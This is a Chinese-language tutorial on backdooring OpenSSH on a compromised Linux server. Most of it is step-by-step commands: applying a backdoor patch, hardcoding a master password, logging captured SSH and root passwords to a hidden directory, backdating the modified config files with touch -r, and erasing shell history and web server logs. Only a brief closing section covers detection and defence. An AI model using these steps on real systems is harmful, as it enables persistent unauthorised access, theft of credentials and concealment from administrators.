相对于Windows操作系统，Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务，在获取root权限的情况下，可以通过修改或者更新OpenSSH代码等方法，截取并保存其SSH登录账号密码，甚至可以留一个隐形的后门，达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门，使用OpenSSH留后门是入侵者的惯用方式之一，OpenSSh后门比较难于检测，本文就如何添加OpenSSH后门以及防范后门添加进行探讨。
1.1OpenSSH简介
1.2准备工作
SSH后门目前网上支持版本为5.9以下，因此如果显示信息中的版本为5.9以下才能使用，如图1所示，使用“ssh –V”命令获取的OpenSSH版本为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。对高于5.9版本未做测试，理论上是可行的，因为在patch中可以直接修改banner。特别需要注意，这个版本号一定要记录下来，在编译时将该信息进行伪装。
(5)备份SSH原始配置文件
如图2所示，将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端中分别执行文件备份命令：
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
(6)解压ssh后门
将sshbd.tgz下载到本地并解压到本地，如图3所示，执行以下命令：
tar zxvf sshbd.tgz
cd openssh
使用官方openssh-5.9p1进行安装后门的可以执行以下命令
tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
1.3设置ssh后门的登录密码及其密码记录位置
在openssh目录中找到includes.h，使用“vi includes.h”修改define _SECRET_PASSWD为自己的登录密码，如图4所示，默认密码记录日志文件保存在/usr/local/share/0wn目录下的slog和clog文件。例如定义密码为“995430aaa”
define _SECRET_PASSWD " 995430aaa"
1.4安装并编译
1.进行编译和安装
./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install
openssh-5.9p1需要用下面这个命令进行配置：
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误，可以执行“yum install zlib-devel和yum install openssl openssl-devel”安装后再次编译即可。
2.重启SSHD服务
执行“/etc/init.d/sshd restart”命令重启sshd服务。
3.还原新配置文件为旧配置文件时间
执行以下命令，将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致。
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
mtime(modify time):最后一次修改文件或目录的时间
ctime(chang time) :最后一次改变文件或目录(改变的是原数据即:属性)的时间
如:记录该文件的inode节点被修改的时间。touch命令除了-d和-t选项外都会改变该时间。而且chmod,chown等命令也能改变该值。
atime(access time)::最后一次访问文件或目录的时间
ls -l file : 查看文件修改时间
ls -lc file: 查看文件状态改动时间
ls -lu file: 查看文件访问时间
stat file 文件时间三个属性
1.5登入后门并查看记录的密码文件
使用“ssh -l root IP”命令登录服务器，例如“ssh -l root 192.168.52.175”登录，可以使用root的密码，也可以使用后门设置的密码“995430aaa”进行登录。然后到/usr/local/share/0wn目录查看其记录的密码日志文件clog和slog，如图5所示，可以看到ssh登录和本地root帐号登录的密码。
1.6 清除日志
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
1.7OpenSSH后门防范方法
(1)重装openssh软件，更新至最新版本7.2
(2)更换ssh默认登录端口22为其它端口。
(3)在iptable中添加ssh访问策略。
(4)查看命令历史记录，对可疑文件进行清理，在有条件的情况下，可重做系统。
(5)修改服务器所有密码为新的强健密码。
(6)利用strace找出ssh后门，首先利用命令“ps aux | grep sshd”获取可疑进程PID，使用“strace -o aa -ff -p PID”进行跟踪，然后登录ssh，成功登录之后，在当前目录，生成了strace的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录密码打开文件。在上面命令中过滤掉错误信息和/dev/null信息，以及denied信息，并且找读写模式打开(WR)的，因为要把记录的密码写入文件，肯定要是以写方式打开的文件，可以可以找到以读写方式记录在文件中的ssh后门密码文件位置，通过该方法来判断是否存在ssh后门。当然也有不记录密码，而仅仅留一个万能ssh后门。